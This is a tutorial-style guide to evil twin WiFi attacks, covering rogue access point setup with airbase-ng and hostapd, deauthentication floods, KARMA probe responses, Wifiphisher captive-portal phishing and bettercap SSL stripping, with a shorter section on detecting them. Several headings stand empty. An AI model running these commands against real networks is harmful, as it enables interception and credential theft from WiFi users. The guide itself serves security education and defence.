Evil Twin Attacks: Rogue Access Point Threats and Detection
An in-depth guide to evil twin (rogue AP) attacks covering how they work, deployment techniques, detection methods, and defensive strategies against WiFi credential harvesting.
The Architecture of Wireless Impersonation
An evil twin attack deploys a rogue wireless access point that impersonates a legitimate WiFi network by broadcasting the same SSID. This attack exploits the trust architecture of wireless networks — clients automatically connect to the strongest signal matching a known SSID. Once connected, the attacker intercepts traffic, captures credentials, or conducts man-in-the-middle attacks.
Prerequisites
Attack Infrastructure
Required components: wireless adapter supporting AP mode, software for fake AP, DHCP server, and optionally a captive portal page and internet uplink.
Basic Evil Twin Deployment
# Create evil twin with airbase-ng
airmon-ng start wlan0
airodump-ng wlan0mon
airbase-ng -e "Free Airport WiFi" -c 6 wlan0mon
# Bridge for internet access
brctl addbr evil-bridge
brctl addif evil-bridge eth0
brctl addif evil-bridge at0
Using hostapd
# hostapd.conf
interface=wlan0
driver=nl80211
ssid=Corporate-Guest
hw_mode=g
channel=6
auth_algs=1
Forcing Client Connections
# Continuous deauth against all clients on target
aireplay-ng -0 0 -a LEGITIMATE_AP_MAC wlan0mon
# Selective deauth for specific clients
aireplay-ng -0 5 -a LEGITIMATE_AP_MAC -c CLIENT_MAC wlan0mon
KARMA Attack
Exploits client probe requests. Mobile devices broadcast known network names; the evil twin responds to all probes claiming to be any network:
# MANA toolkit for KARMA attacks
mana_wlan=wlan0
mana_ssid=""
mana_loud=1 # Respond to all probes
Automated Frameworks
# Fluxion
git clone https://github.com/FluxionNetwork/fluxion.git
cd fluxion && ./fluxion.sh
# Wifiphisher
git clone https://github.com/wifiphisher/wifiphisher.git
python wifiphisher.py
Credential Harvesting
Captive Portal Phishing
# Wifiphisher with built-in templates
wifiphisher -aI wlan0 -jI wlan0 --template "starbucks"
SSL Stripping
bettercap -eval "set http.proxy.sslstrip true; http.proxy on"
Detection Methods
Client-Side
Check for duplicate SSIDs, verify AP MAC addresses, use VPN regardless of AP, check certificate validity.
Network Monitoring
# Kismet detects multiple APs with same SSID
kismet
# Manual duplicate detection
airodump-ng wlan0mon | grep "TargetSSID"
# Monitor for deauth floods
tcpdump -i wlan0mon -n -e type mgt subtype deauth
WIDS
Enterprise WIDS monitor for duplicate SSIDs, signal fingerprinting, beacon interval anomalies, and KARMA behavior.
Common Mistakes
Best Practices (Defenders)
Related Tools
Related Articles
Summary
Evil twin attacks deploy rogue APs impersonating legitimate WiFi to intercept traffic and harvest credentials. Combining deauth attacks, captive portal phishing, and SSL stripping, these attacks are highly effective against open WiFi. Defense requires WPA3 with PMF, WIDS monitoring, user education, and enforced VPN usage.